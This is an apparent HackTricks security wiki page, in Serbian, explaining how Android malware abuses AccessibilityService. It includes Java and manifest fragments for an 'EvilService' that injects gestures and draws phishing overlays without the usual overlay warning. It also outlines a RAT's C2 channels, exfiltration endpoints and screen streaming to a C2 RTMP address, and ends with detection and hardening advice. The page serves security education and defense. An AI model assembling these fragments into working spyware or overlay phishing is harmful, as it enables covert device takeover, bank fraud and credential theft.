Android Accessibility Service Abuse
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
AccessibilityService
je stvoren da pomogne korisnicima sa invaliditetom da interaguju sa Android uređajima. Nažalost, iste moćne automatizacione API (globalna navigacija, unos teksta, raspodela gestova, prozori preklapanja…) mogu biti zloupotrebljene od strane malvera da dobiju potpunu daljinsku kontrolu nad uređajem bez root privilegija.
Moderni Android bankovni trojanci i trojanci za daljinski pristup (RAT) kao što su PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i mnogi drugi prate isti recept:
- Socijalno inženjerstvo žrtve da omogući zlonamerne usluge pristupa (dozvola BIND_ACCESSIBILITY_SERVICE se smatra "visokog rizika" i zahteva eksplicitnu akciju korisnika).
- Iskoristiti uslugu da
- zabeleži svaki UI događaj i tekst koji se pojavljuje na ekranu,
- injektuje sintetičke geste (
dispatchGesture
) i globalne akcije (performGlobalAction
) da automatizuje bilo koju radnju koju operater želi, - crta prozore preklapanja preko legitimnih aplikacija koristeći tip prozora TYPE_ACCESSIBILITY_OVERLAY (bez
SYSTEM_ALERT_WINDOW
obaveštenja!), - tiho dodeli dodatne dozvole u vreme izvođenja klikom na sistemske dijaloge u ime žrtve.
- Ekstrahuje podatke ili izvrši On-Device-Fraud (ODF) u realnom vremenu dok korisnik gleda na savršeno normalan ekran.
Zahtev za dozvolu
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Prateći XML definiše kako će izgledati lažni dijalog:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivi za automatsko upravljanje udaljenim korisničkim interfejsom
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Sa samo ova dva API-ja, napadač može:
- Otključati ekran, otvoriti bankarsku aplikaciju, navigirati njenom UI stablu i poslati obrazac za transfer.
- Prihvatiti svaki dijalog o dozvolama koji se pojavi.
- Instalirati/aktuelizovati dodatne APK-ove putem Play Store intencija.
Obrasci zloupotrebe
1. Overlay Phishing (Prikupljanje akreditiva)
Prozirni ili neprozirni WebView
se dodaje menadžeru prozora:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikada se ne prikazuje sumnjivi "crtaj preko drugih aplikacija" promp.
Detaljan primer: sekcija Accessibility Overlay Phishing unutar stranice Tapjacking.
2. Automatizacija prevara na uređaju
Malware porodice kao što je PlayPraetor održavaju postojanu WebSocket vezu gde operater može izdavati komande na visokom nivou (init
, update
, alert_arr
, report_list
, …). Usluga prevodi te komande u niske geste iznad, ostvarujući neovlašćene transakcije u realnom vremenu koje lako zaobilaze višefaktorsku autentifikaciju vezanu za taj uređaj.
3. Streaming i nadzor ekrana
Kombinovanjem MediaProjection API sa RTMP klijentskom bibliotekom, RAT može emitovati uživo framebuffer na rtmp://<c2>:1935/live/<device_id>
, dajući protivniku savršenu situacionu svest dok Accessibility engine upravlja UI-jem.
PlayPraetor – radni tok komande i kontrole
- HTTP(S) heartbeat – iterirajte preko hard-kodirane liste dok jedan domen ne odgovori
POST /app/searchPackageName
sa aktivnim C2. - WebSocket (port 8282) – dvostrani JSON komande:
update
– push nove konf/APKalert_arr
– konfigurišite overlay šablonereport_list
– pošaljite listu ciljanih imena paketaheartbeat_web
– keep-alive
- RTMP (port 1935) – live streaming ekrana/videa.
- REST exfiltracija –
/app/saveDevice
(otisci)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bankovni kredencijali)
AccessibilityService je lokalni engine koji pretvara te cloud komande u fizičke interakcije.
Otkrivanje zlonamernih usluga pristupa
adb shell settings get secure enabled_accessibility_services
- Podešavanja → Pristupnost → Preuzete usluge – potražite aplikacije koje nisu sa Google Play-a.
- MDM / EMM rešenja mogu primeniti
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) da blokiraju sideloaded usluge. - Analizirajte aktivne usluge:
adb shell dumpsys accessibility | grep "Accessibility Service"
Preporuke za jačanje za programere aplikacija
- Obeležite osetljive prikaze sa
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Kombinujte
setFilterTouchesWhenObscured(true)
saFLAG_SECURE
da sprečite otmicu dodira/overlay-a. - Otkrivajte overlay-e anketiranjem
WindowManager.getDefaultDisplay().getFlags()
iliViewRootImpl
API-jem. - Odbijte rad kada je
Settings.canDrawOverlays()
ili aktivna neproverena Accessibility usluga.
Reference
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.